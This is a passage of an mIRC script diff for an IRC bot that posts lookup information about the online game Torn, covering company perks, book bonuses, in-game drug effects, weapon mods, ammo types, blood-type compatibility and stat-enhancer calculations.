+          var %1n = Blood Thirst, %1d = +1 nerve, %1c = (1 pt) 
+          var %3n = Butcher, %3d = 10% melee weapon damage, %3c = (Passive) 
+          var %5n = Carnage, %5d = 10 maximum nerve, %5c = (Passive)
+          var %7n = Huntsman, %7d = 25% hunting skill gain, %7c = (Passive) 
+          var %10n = Vampiric, %10d = 3% life regeneration per tick, %10c = (Passive)
+        }
+        if ($2 == Farm || $2 == 34) {
+          var %comp = Farm, %compid = 34
+          var %1n = Fullfillment, %1d = +50 happiness, %1c = (1 pt) 
+          var %3n = Animal Instinct, %3d = 15% hunting reward, %3c = (Passive) 
+          var %5n = Special K, %5d = Ketamine drug, %5c = (5 pts)
+          var %7n = Fertilizer, %7d = Small explosive device, %7c = (100 pts) 
+          var %10n = Early Riser, %10d = 7 energy, %10c = (1 pt - max 100pt/day)
+        }
+        if ($2 == Software || $2 == 35) {
+          var %comp = Software Corporation, %compid = 35
+          var %1n = Ub3rg33k, %1d = 50% virus coding time, %1c = (Passive) 
+          var %3n = Proxy Hacking, %3d = Cancel a target's virus programming, %3c = (25 pts) 
+          var %5n = Intricate Hack, %5d = Hack a company's bank account, %5c = (250 pts)
+          var %7n = Hack the Planet, %7d = 25% computer crime success & skill gain, %7c = (Passive) 
+          var %10n = Corporate Espionage, %10d = View financial details of a company, %10c = (50 pts)
+        }
+        if ($2 == Ladies || $2 == 36) {
+          var %comp = Ladies Strip Club, %compid = 36
+          var %1n = Happy Hour, %1d = Money, %1c = (1 pt) 
+          var %3n = Free Drinks, %3d = 1 nerve, %3c = (1 pt) 
+          var %5n = Thong, %5d = Thong, %5c = (300 pts)
+          var %7n = Hench, %7d = 25% passive defense, %7c = (Passive) 
+          var %10n = Aspiring Workout, %10d = 10% defense gym gains, %10c = (Passive)
+        }
+        if (%comp != $null) { 
+          msg # $tc.col(2) $+ %comp $tc.col(8) $+ (ID: %compid $+ ) $tc.col(1) $+ - $tc.complink(%compid)
+          msg # $tc.col(1) $+ 1 Star: $tc.col(3) $+ %1n $tc.col(1) $+ - $+ $tc.col(2) %1d $tc.col(4) $+ %1c 
+          msg # $tc.col(1) $+ 3 Star: $tc.col(3) $+ %3n $tc.col(1) $+ - $+ $tc.col(2) %3d $tc.col(4) $+ %3c 
+          msg # $tc.col(1) $+ 5 Star: $tc.col(3) $+ %5n $tc.col(1) $+ - $+ $tc.col(2) %5d $tc.col(4) $+ %5c 
+          msg # $tc.col(1) $+ 7 Star: $tc.col(3) $+ %7n $tc.col(1) $+ - $+ $tc.col(2) %7d $tc.col(4) $+ %7c 
+          msg # $tc.col(1) $+ 10 Star: $tc.col(3) $+ %10n $tc.col(1) $+ - $+ $tc.col(2) %10d $tc.col(4) $+ %10c 
+        }
+        else { msg # $tc.col(5) $+ I have no idea what " $+ $tc.col(2) $+ $2- $+ $tc.col(5) $+ " is. }
+      }
+    }
+
+    ; --------------------------------- book lookup commands ---------------------------------    
+
+    if ($1 = !book) {
+      if ($2 == $null) { 
+        msg # $tc.col(3) $+ Displays book information. $tc.col(1) $+ Usage: $tc.col(2) $+ !book Query $tc.col(8) $+ (only first word is searched) $tc.col(1) $+ - Info pulled from: $+ $tc.col(2) http://www.torn.com/forums.php?p=threads&f=61&t=15980189 $tc.col(1) $+ - Thread credit: $tc.col(2) $+ CloudJumper $tc.colid(1636201,1,2)
+        msg # $tc.col(1) $+ Note: $tc.col(4) $+ Books are subscriber-only rewards (random chance every month), but they can also be found in the city or bought for mission credits. You can only ever read one book at a time and will only ever obtain one of each book.
+      }
+      else {
+        if ($istok(Brawn Brains str strength,$2,32)) { var %title = Brawn Over Brains, %bene = Increases strength by 5% (Capped at 10m gain) upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Time Mind spd speed,$2,32)) { var %title = Time Is In The Mind, %bene = Increase speed by 5% (Capped at 10m gain) upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Keeping def defense,$2,32)) { var %title = Keeping Your Face Handsome, %bene = Increase defense by 5% (Capped at 10m gain) upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(A Job dex dexterity,$2,32)) { var %title = A Job For Your Hands, %bene = Increase dexterity by 5% (Capped at 10m gain) upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Fight Asshole passive,$2,32)) { var %title = Fight Like An Asshole, %bene = Provides a passive 25% bonus to all stats for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Mind str strength passive,$2,32)) { var %title = Mind Over Matter, %bene = Provides a passive 100% bonus to Strength for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(No Shame Pain def defense passive,$2,32)) { var %title = No Shame No Pain, %bene = Provides a passive 100% bonus to Defense for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Run Wind spd speed passive,$2,32)) { var %title = Run Like The Wind, %bene = Provides a passive 100% bonus to Speed for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Weaseling dex dexterity passive,$2,32)) { var %title = Weaseling Out Of Trouble, %bene = Provides a passive 100% bonus to Dexterity for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Get Hard gym gyms,$2,32)) { var %title = Get Hard or Go Home, %bene = Increases all gym gains by 20% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Gym Grunting strength str,$2,32)) { var %title = Gym Grunting - Shouting To Success, %bene = Increases Strength gym gains by 30% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Self defense def gym,$2,32)) { var %title = Self Defence In The Workplace, %bene = Increases Defense gym gains by 30% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Speed spd gym ,$2,32)) { var %title = Speed 3 - The Rejected Script, %bene = Increases Speed gym gains by 30% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Limbo dex dexterity gym ,$2,32)) { var %title = Limbo Lovers 101, %bene = Increases Dexterity gym gains by 30% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Working work,$2,32)) { var %title = Working 9 til 5, %bene = Increases all working stats by 5% (Capped at 2,500 gain each) upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Brown Brown-nosing Brownnosing employee effectiveness shit,$2,32)) { var %title = Brown-nosing The Boss, %bene = Maximum personal employee effectiveness for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(The Hamburglar Hamburglar's Hamburglars crime exp experience,$2,32)) { var %title = The Hamburglar's Guide To Crime, %bene = Increases crime skill & experience gain by 25% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(What Old exp experience level,$2,32)) { var %title = What Are Old Folk Good For Anyway?, %bene = Increases all EXP gain by 25% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Hot Turkey drug addiction,$2,32)) { var %title = Hot Turkey, %bene = Gain no drug addiction 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Ugly energy refill maximum max,$2,32)) { var %title = Ugly Energy, %bene = Increases maximum energy and energy refills to 250 for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Mailing travel times time,$2,32)) { var %title = Mailing Yourself Abroad, %bene = Decreases all travel times by 25% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Smuggling travel items,$2,32)) { var %title = Smuggling For Beginners, %bene = Increases travel items by 10 for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Higher Daddy energy regeneration regen,$2,32)) { var %title = Higher Daddy $+ $chr(44) Higher!, %bene = Provides +20% energy regeneration for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(The Real crimes crime nerve regeneration regen,$2,32)) { var %title = The Real Dutch Courage, %bene = Doubles nerve regeneration for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Because happy happiness regeneration regen,$2,32)) { var %title = Because I'm Happy - The Pharrell Story, %bene = Doubles happiness regeneration for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(No More Sick life regeneration regen,$2,32)) { var %title = No More Sick Days, %bene = Doubles life regeneration for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }        
+        if ($istok(Stealthy stealth guarenteed,$2,32)) { var %title = Stealthy Stealing of Underwear, %bene = Guaranteed stealth for the next 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Running runaway run,$2,32)) { var %title = Running Away From Trouble, %bene = 100% Run away chance for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Medical meds med hosp hospital duration time times,$2,32)) { var %title = Medical Degree Schmedical Degree, %bene = Decreases all hospital times by 50% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(No More Soap jail duration time times,$2,32)) { var %title = No More Soap on a Rope, %bene = Decreases all jail times by 50% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Self cans candy cooldowns cooldown alcohol booze beer,$2,32)) { var %title = Self Control is for Losers, %bene = Decreases all consumable cooldowns by 50% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Going cooldown cooldowns medical med,$2,32)) { var %title = Going Back For More, %bene = Decreases all medical cooldowns by 50% for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Get Drunk beer booze alcohol nerve effect effects,$2,32)) { var %title = Get Drunk and Lose Dignity, %bene = Doubles alcohol effects for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Fuelling cans energy,$2,32)) { var %title = Fuelling Your Way to Failure, %bene = Doubles energy drink effects for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Yes Diabetes candy happiness happy effect effects,$2,32)) { var %title = Yes Please Diabetes, %bene = Doubles candy effects for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Ignorance happy happiness maximum max,$2,32)) { var %title = Ignorance is Bliss, %bene = Happiness above maximum does not reset for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Making friends enemies maximum max,$2,32)) { var %title = Making Friends $+ $chr(44) Enemies $+ $chr(44) and Cakes, %bene = Increases blacklist & friend list capacity by 100 upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(High merit reset,$2,32)) { var %title = High School For Adults, %bene = Provides a free merit reset upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Milk addiction drug,$2,32)) { var %title = Milk Yourself Sober, %bene = Removes a substantial amount of drug addiction upon completion. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Shawshank jail bust,$2,32)) { var %title = Shawshank Sure Ain't For Me!, %bene = Large jail bust & escape boost for the next 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Winking contract mission,$2,32)) { var %title = Winking to Win, %bene = Doubles contract credit and money rewards for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Finders Keepers city item,$2,32)) { var %title = Finders Keepers, %bene = Drastically increases city item spawns for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Duke retaliate,$2,32)) { var %title = Duke - My Story, %bene = Duke will occasionally retaliate against your attackers for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        if ($istok(Memories Mammaries repeat,$2,32)) { var %title = Memories and Mammaries, %bene = Takes the same effect from the last used book for 31 days. | tc.bookdisp # $+ $chr(124) $+ %title $+ $chr(124) $+ %bene }
+        ; If this is called, we haven't displayed a book. Time to bitch.
+        if (%title == $null) { msg # $tc.col(5) $+ I have no idea what " $+ $tc.col(2) $+ $2- $+ $tc.col(5) $+ " is. }        
+      }
+    }
+    ; --------------------------------- drug lookup commands ---------------------------------    
+
+    if ($1 == !druginfo || $1 == !dinfo) {
+      if ($istok(xanax xan,$2,32)) { 
+        var %dname = Xanax, %dcd = 360-480 mins
+        var %deff = $tc.col(6) $+ 250 energy, $tc.col(6) $+ 75 happiness
+        var %dod = $tc.col(7) $+ 5000 minutes in hosp, $tc.col(7) $+ ~3 xanax drug addiction gain, $tc.col(7) $+ 100% energy/happiness/nerve loss
+        var %dodcd = ~24 hours
+        var %dpass = $tc.col(7) $+ 35% passive decrease to all battle stats
+      }
+      if ($istok(vicodin vic,$2,32)) { 
+        var %dname = Vicodin, %dcd = 240-360 mins
+        var %dod = $tc.col(7) $+ 150 happiness loss
+        var %dodcd = 240-360 mins
+        var %dpass = $tc.col(6) $+ 25% passive increase to all battle stats
+      }
+      if ($istok(speed,$2,32)) { 
+        var %dname = Speed, %dcd = 268 mins
+        var %dod = $tc.col(7) $+ 450 minutes in hospital, $tc.col(7) $+ perminant loss of strength and defense (6x player level)
+        var %dodcd = 268-300 mins
+        var %dpass = $tc.col(6) $+ 20% passive increase to speed, $tc.col(7) $+ 20% passive decrease to dexterity
+      }
+      if ($istok(shrooms mushrooms,$2,32)) { 
+        var %dname = Shrooms, %dcd = 200-234 mins
+        var %deff = $tc.col(6) $+ 400-500 happiness, $tc.col(7) $+ 25 energy decrease (will not go under 0)
+        var %dod = $tc.col(7) $+ 100 minutes in hospital, $tc.col(7) $+ 100% energy/happiness/nerve loss
+        var %dodcd = 200-234 mins
+        var %dpass = $tc.col(7) $+ 20% passive decrease to all battle stats
+      }
+      if ($istok(pcp pvp,$2,32)) { 
+        var %dname = PCP, %dcd = 340-400 mins
+        var %deff = $tc.col(6) $+ 250 happiness
+        var %dod = $tc.col(7) $+ 1000 minutes in hospital
+        var %dodcd = 340-400 mins
+        var %dpass = $tc.col(6) $+ 20% passive increase to strength and dexterity,
+      }
+      if ($istok(opium,$2,32)) { 
+        var %dname = Opium, %dcd = 200-250 mins
+        var %deff = $tc.col(6) $+ Removes all standard hosp time, $tc.col(6) $+ 65-90 happiness
+        var %dod = $tc.col(6) $+ No overdose
+        var %dodcd = N/A
+      }
+      if ($istok(lsd acid,$2,32)) { 
+        var %dname = LSD, %dcd = 400-450 mins
+        var %deff = $tc.col(6) $+ 50 energy, $tc.col(6) $+ 20-50 happiness, $tc.col(6) $+ 5 nerve
+        var %dod = $tc.col(7) $+ 100% energy/nerve loss, $tc.col(7) $+ 50% happiness loss
+        var %dodcd = 400-450 mins
+        var %dpass = $tc.col(6) $+ 30% passive increase in strength, $tc.col(6) $+ 50% passive increase in defense, $tc.col(7) $+ 30% passive decrease in speed/dexterity
+      }
+      if ($istok(ketamine,$2,32)) { 
+        var %dname = Ketamine, %dcd = 50-90 mins      
+        var %dod = $tc.col(7) $+ 1000 minutes hosp, $tc.col(7) $+ 100% energy/nerve loss, $tc.col(7) $+ increased after effects (decreased speed/dex during after effects = 24-27hrs)
+        var %dodcd = 50-90 mins
+        var %dpass = $tc.col(6) $+ 50% passive increase to defense, $tc.col(7) $+ 20% passive decrease to speed and strength
+      }
+      if ($istok(ecstasy xtc,$2,32)) { 
+        var %dname = Ecstasy, %dcd = 200-220 mins
+        var %deff = $tc.col(6) $+ Doubles current happiness
+        var %dod = $tc.col(7) $+ 100% energy/happiness loss
+        var %dodcd = 200-220 mins
+      }
+      if ($istok(cannabis weed cheeb 420,$2,32)) { 
+        var %dname = Cannabis, %dcd = 60-90 mins 
+        var %deff = $tc.col(6) $+ Increased crime success rate, $tc.col(6) +0-3 nerve
+        var %dod = $tc.col(7) $+ 300-330 minutes hosp time, $tc.col(7) $+ 100% energy/happiness/nerve loss, $tc.col(6) $+ awards 'Spaced Out' honor
+        var %dodcd = 60-90 mins - very rare
+        var %dpass = $tc.col(7) $+ 20% passive decrease in strength, $tc.col(7) $+ 25% passive decrease in defense, $tc.col(7) $+ 35% passive decrease in speed
+      }
+      if (%dname != $null) { 
+        var %drugheader = $tc.col(2) $+ %dname $+ $tc.col(1) - Cooldown: $+ $tc.col(2) %dcd 
+        if (%deff != $null) { var %drugheader = %drugheader $tc.col(1) $+ - Additional Effect: $+ $tc.col(2) $replace(%deff,$chr(44),$+($tc.col(1),$chr(44),$chr(32))) }
+        msg # %drugheader
+        if (%dpass != $null) { msg # $tc.col(1) $+ Passive Stat changes: $+ $tc.col(2) $replace(%dpass,$chr(44),$+($tc.col(1),$chr(44),$chr(32))) }
+        msg # $tc.col(1) $+ Overdose Effect $tc.col(8) $+ ( $+ %dodcd $+ ): $+ $tc.col(2) $replace(%dod,$chr(44),$+($tc.col(1),$chr(44),$chr(32))) 
+      }
+      else {
+        msg # $tc.col(3) $+ Displays information about a drug. $tc.col(1) $+ Usage: $+ $tc.col(2) !dinfo Drug $tc.col(1) $+ - Source: $+ $tc.col(2) https://www.torn.com/wiki/Drugs
+      }
+    }
+
+    ; --------------------------------- mod lookup commands ---------------------------------    
+
+    if ($1 = !mods || $1 == !mod) {
+      msg # $tc.col(3) $+ Commands: $+ $tc.col(2) !rangemod $+ $tc.col(1) = Primary/Secondary Mods $+ $tc.col(1) $+ , $+ $tc.col(2) !meleemod $+ $tc.col(1) = Melee Mods $tc.col(8) $+ (inactive until release) $+ $tc.col(1) $+ , $+ $tc.col(2) !armormod $+ $tc.col(1) = Armor mods $tc.col(8) $+ (inactive until release)
+    }
+
+    if ($1 = !rangemods || $1 == !rangemod) {
+      if ($2 == sight || $2 == sights) { 
+        var %s1n = Reflex Sight, %s1b = $tc.col(6) $+ +14% Accuracy
+        var %s2n = Holographic Sight, %s2b = $tc.col(6) $+ +16% Accuracy
+        var %s3n = Acog Sight, %s3b = $tc.col(6) $+ +18% Accuracy
+        var %s4n = Thermal Sight, %s4b = $tc.col(6) $+ +20% Accuracy
+        var %compat = MCG PST RFL SMG, %excl = Dual Primary Weapons
+      }
+      if ($2 == laser || $2 == lasers) { 
+        var %s1n = 1mw Laser, %s1b = $tc.col(6) $+ +3% Critical Hit Chance
+        var %s2n = 5mw Laser, %s2b = $tc.col(6) $+ +4% Critical Hit Chance
+        var %s3n = 30mw Laser, %s3b = $tc.col(6) $+ +5% Critical Hit Chance
+        var %s4n = 100mw Laser, %s4b = $tc.col(6) $+ +6% Critical Hit Chance
+        var %compat = HRT MCG PST RFL SHT SMG
+      }
+      if ($2 == suppressor || $2 == suppressors || $2 == sup || $2 == supp) { 
+        var %s1n = Small Suppressor, %s1b = $tc.col(6) $+ +3 Stealth Rating $+ $tc.col(1) $+ , $+ $tc.col(7) -5% Damage
+        var %s2n = Standard Suppressor, %s2b = $tc.col(6) $+ +4 Stealth Rating $+ $tc.col(1) $+ , $+ $tc.col(7) -5% Damage
+        var %s3n = Large Suppressor, %s3b = $tc.col(6) $+ +5 Stealth Rating $+ $tc.col(1) $+ , $+ $tc.col(7) -5% Damage
+        var %compat = PST RFL SMG
+        var %excl = No muzzle equipped
+      }
+      if ($2 == mags || $2 == mag || $2 == magazine || $2 == magazines) { 
+        var %s1n = Extended Mags, %s1b = $tc.col(6) $+ +20% Clip Size
+        var %s2n = High Capacity Mags, %s2b = $tc.col(6) $+ +30% Clip Size
+        var %compat = MCG PST RFL SHT SMG, %excl = Dual Primary Weapons
+      }
+      if ($2 == add || $2 == additional || $2 == extra || $2 == clip) { 
+        var %s1n = Extra Clip x1, %s1b = $tc.col(6) $+ One extra clip in fight
+        var %s2n = Extra Clip x2, %s2b = $tc.col(6) $+ Two extra clips in fight
+        var %compat = HRT MCG PST RFL SHT SMG, %excl = Dual Primary Weapons
+      }      
+      if ($2 == trigger || $2 == triggers || $2 == triggered) { 
+        var %s1n = Adjustable Trigger, %s1b = $tc.col(6) $+ Doubles speed stat on 1st turn
+        var %s2n = Hair Trigger, %s2b = $tc.col(6) $+ Triples speed stat on 1st turn
+        var %compat = MCG PST RFL SHT SMG
+      }      
+      if ($2 == mount || $2 == mounts) { 
+        var %s1n = Bipod, %s1b = $tc.col(6) $+ +20% Accuracy $+ , $+ $tc.col(7) -30% Dexterity
+        var %s2n = Tripod, %s2b = $tc.col(6) $+ +25% Accuracy $+ , $+ $tc.col(7) -30% Dexterity
+        var %compat = MCG PST RFL SHT SMG, %excl = Dual Primary Weapons
+      } 
+      if ($2 == grips || $2 == grip) { 
+        var %s1n = Custom Grip, %s1b = $tc.col(6) $+ +7.5% Accuracy
+        var %compat = MCG PST RFL SHT SMG
+      } 
+      if ($2 == chokes || $2 == choke) { 
+        var %s1n = Skeet Choke, %s1b = $tc.col(6) $+ +6% Damage
+        var %s2n = Improved Choke, %s2b = $tc.col(6) $+ +8% Damage
+        var %s3n = Full Choke, %s3b = $tc.col(6) $+ +10% Damage
+        var %compat = SHT
+      } 
+      if ($2 == recoil) { 
+        var %s1n = Recoil Pad, %s1b = $tc.col(6) $+ +25% Ammo Control        
+        var %compat = MCG RFL SHT
+      } 
+      if ($2 == muzzle || $2 == muzzles) { 
+        var %s1n = Standard Brake, %s1b = $tc.col(6) $+ +10% Accuracy $+ , $+ $tc.col(7) -3 Stealth Rating
+        var %s2n = Heavy Duty Brake, %s2b = $tc.col(6) $+ +13% Accuracy $+ , $+ $tc.col(7) -3 Stealth Rating
+        var %s3n = Tactical Brake, %s3b = $tc.col(6) $+ +16% Accuracy $+ , $+ $tc.col(7) -3 Stealth Rating
+        var %compat = MCG PST RFL SMG
+        var %excl = No suppressor equipped
+      } 
+      if ($2 == light || $2 == lights) { 
+        var %s1n = Small Light, %s1b = $tc.col(6) $+ -6% Opponent Accuracy $+ , $+ $tc.col(6) -3 Opponent Stealth Rating
+        var %s2n = Precision Light, %s2b = $tc.col(6) $+ -8% Opponent Accuracy $+ , $+ $tc.col(6) -3 Opponent Stealth Rating
+        var %s3n = Tactical Illuminator, %s3b = $tc.col(6) $+ -10% Opponent Accuracy $+ , $+ $tc.col(6) -3 Opponent Stealth Rating
+        var %compat = PST RFL SMG SHT
+      } 
+      if (%s1n != $null) { 
+        msg # $tc.col(1) $+ Stage 1: $+ $tc.col(2) %s1n $tc.col(1) $+ = $+ $tc.col(2) %s1b $+ $tc.col(1) $+ .
+        if (%s2n != $null) { msg # $tc.col(1) $+ Stage 2: $+ $tc.col(2) %s2n $tc.col(1) $+ = $+ $tc.col(2) %s2b $+ $tc.col(1) $+ . }
+        if (%s3n != $null) { msg # $tc.col(1) $+ Stage 3: $+ $tc.col(2) %s3n $tc.col(1) $+ = $+ $tc.col(2) %s3b $+ $tc.col(1) $+ . }
+        if (%s4n != $null) { msg # $tc.col(1) $+ Stage 4: $+ $tc.col(2) %s4n $tc.col(1) $+ = $+ $tc.col(2) %s4b $+ $tc.col(1) $+ . }
+        msg # $tc.col(1) $+ Compatibility: $+ $tc.col(2) $replace(%compat,$chr(32),$+($tc.col(1),$chr(44),$tc.col(2),$chr(32)),HRT,Heavy Artillery,MCG,Machine Guns,PST,Pistols,RFL,Rifles,SHT,Shotguns,SMG,Submachine Guns) $+ $tc.col(1) $+ .
+        if (%excl != $null) { msg # $tc.col(1) $+ Exclusions: $+ $tc.col(2) %excl $+ $tc.col(1) $+ . }
+      }
+      else {
+        msg # $tc.col(3) $+ Displays information about a mod. $tc.col(1) $+ Usage: $+ $tc.col(2) !rangemod (mod) 
+        msg # $tc.col(1) $+ List: $+ $tc.col(2) Laser $+ $tc.col(1) $+ , $+ $tc.col(2) Sight $+ $tc.col(1) $+ , $+ $tc.col(2) Suppressor $+ $tc.col(1) $+ , $+ $tc.col(2) Magazine Size $+ $tc.col(1) $+ , $+ $tc.col(2) Additional Mags $+ $tc.col(1) $+ , $+ $tc.col(2) Trigger $+ $tc.col(1) $+ , $+ $tc.col(2) Mount $+ $tc.col(1) $+ , $+ $tc.col(2) Grip $+ $tc.col(1) $+ , $+ $tc.col(2) Muzzle Brakes
+        msg # $tc.col(1) $+ Source: $+ $tc.col(2) http://www.torn.com/forums.php#!p=threads&f=61&t=15979865&b=0&a=0 $tc.col(1) $+ - Thread credit: $tc.col(2) $+ Lord_Gorgen $tc.colid(1629756,1,2)
+      }
+    }
+    if ($1 == !meleemods || $1 == !meleemod) { msg # $tc.col(4) $+ Inactive until release. }
+    if ($1 == !armormods || $1 == !armormod || $1 == !armourmods || $1 == !armourmod) { msg # $tc.col(4) $+ Inactive until release. }
+
+
+    ; --------------------------------- other lookup commands ---------------------------------
+    if ($1 == !ammo) {
+      var %hp = $tc.col(2) $+ Hollow Point $+ $tc.col(1) = $tc.col(6) $+ damage increase $+ $tc.col(1) $+ , $tc.col(7) $+ armor penetration decrease $+ $tc.col(1) $+ .
+      var %tr = $tc.col(2) $+ Tracer $+ $tc.col(1) = $tc.col(6) $+ accuracy increase $+ $tc.col(1) $+ .
+      var %pi = $tc.col(2) $+ Piercing $+ $tc.col(1) = $tc.col(6) $+ armor penetration increase $+ $tc.col(1) $+ .
+      var %in = $tc.col(2) $+ Incendiary $+ $tc.col(1) = $tc.col(6) $+ damage increase $+ $tc.col(1) $+ .
+      msg # %hp %tr %pi %in
+    }
+    if ($1 == !blood) {
+      if ($2 == O-) { var %type = O-, %comp = O-, %incomp = O+ A- A+ B- B+ AB- AB+ }
+      if ($2 == O+) { var %type = O+, %comp = O- O+, %incomp = A- A+ B- B+ AB- AB+ }
+      if ($2 == A-) { var %type = A-, %comp = O- A-, %incomp = O+ A+ B- B+ AB- AB+ }
+      if ($2 == A+) { var %type = A+, %comp = O- O+ A- A+, %incomp = B- B+ AB- AB+ }
+      if ($2 == B-) { var %type = B-, %comp = O- B-, %incomp = O+ A- A+ B+ AB- AB+ }
+      if ($2 == B+) { var %type = B+, %comp = O- O+ B- B+, %incomp = A- A+ AB- AB+ }
+      if ($2 == AB-) { var %type = AB-, %comp = O- A- B- AB-, %incomp = O+ A+ B+ AB+ }
+      if ($2 == AB+) { var %type = AB+, %comp = O- O+ A- A+ B- B+ AB- AB+ }
+      if (%comp != $null) { 
+        msg # $tc.col(1) $+ Type $+ $tc.col(2) %type $tc.col(1) $+ is $tc.col(6) $+ compatible $+ $tc.col(1) with: $+ $tc.col(2) $replace(%comp,$chr(32),$+($tc.col(1),$chr(44),$tc.col(2),$chr(32))) $+ $tc.col(1) $+ . 
+        if (%incomp != $null) { msg # $tc.col(1) $+ Type $+ $tc.col(2) %type $tc.col(1) $+ is $tc.col(7) $+ incompatible $+ $tc.col(1) with: $+ $tc.col(2) $replace(%incomp,$chr(32),$+($tc.col(1),$chr(44),$tc.col(2),$chr(32))) $+ $tc.col(1) $+ . }
+      }
+      else { msg # $tc.col(1) $+ Blood Type Compatibility Chart: $+ $tc.col(2) http://i.imgur.com/TyQTvhr.jpg }
+
+
+    }
+    if ($1 == !se) {
+      if ($2 == $null) {
+        var %db = $tc.col(2) $+ Dumbbells: $+ $tc.col(1) = $tc.col(6) $+ Increases Strength $+ $tc.col(1) $+ .
+        var %sk = $tc.col(2) $+ Skateboard: $+ $tc.col(1) = $tc.col(6) $+ Increases Speed $+ $tc.col(1) $+ .
+        var %bg = $tc.col(2) $+ Boxing Gloves: $+ $tc.col(1) = $tc.col(6) $+ Increases Defense $+ $tc.col(1) $+ .
+        var %pa = $tc.col(2) $+ Parachute: $+ $tc.col(1) = $tc.col(6) $+ Increases Dexterity $+ $tc.col(1) $+ .
+        msg # %db %sk %bg %pa
+      }
+      else {
+        if ($istok(str spd def dex,$2,32) && $3 isnum) {
+          if ($3 > 1000) { msg # $tc.col(5) $+ Nope. | halt }        
+          var %retid = $tc.getid($nick), %retname = $tc.getname(%retid)
+          if (%retid == $null) { msg # $tc.col(5) $+ Sorry $+ $tc.col(2) %find $+ $tc.col(5) $+ , I have no clue who you are! }
+          else { 
+            var %statsfile = $tc.statsfile(%retid), %lastsaved = $read($qt(%statsfile), $lines(%statsfile))
+            if ($2 == str) { var %statname = Strength, %sename = Dumbbells, %stat = $gettok(%lastsaved,2,32) }
+            if ($2 == spd) { var %statname = Speed, %sename = Skateboards, %stat = $gettok(%lastsaved,4,32) }
+            if ($2 == def) { var %statname = Defense, %sename = Boxing Gloves, %stat = $gettok(%lastsaved,3,32) }
+            if ($2 == dex) { var %statname = Dexterity, %sename = Parachutes, %stat = $gettok(%lastsaved,5,32) }
+            var %ptr = 1, %end = $3, %endstat = %stat
+            while (%ptr <= %end) {
+              var %endstat = $calc(%endstat * 1.01)
+              inc %ptr
+            }
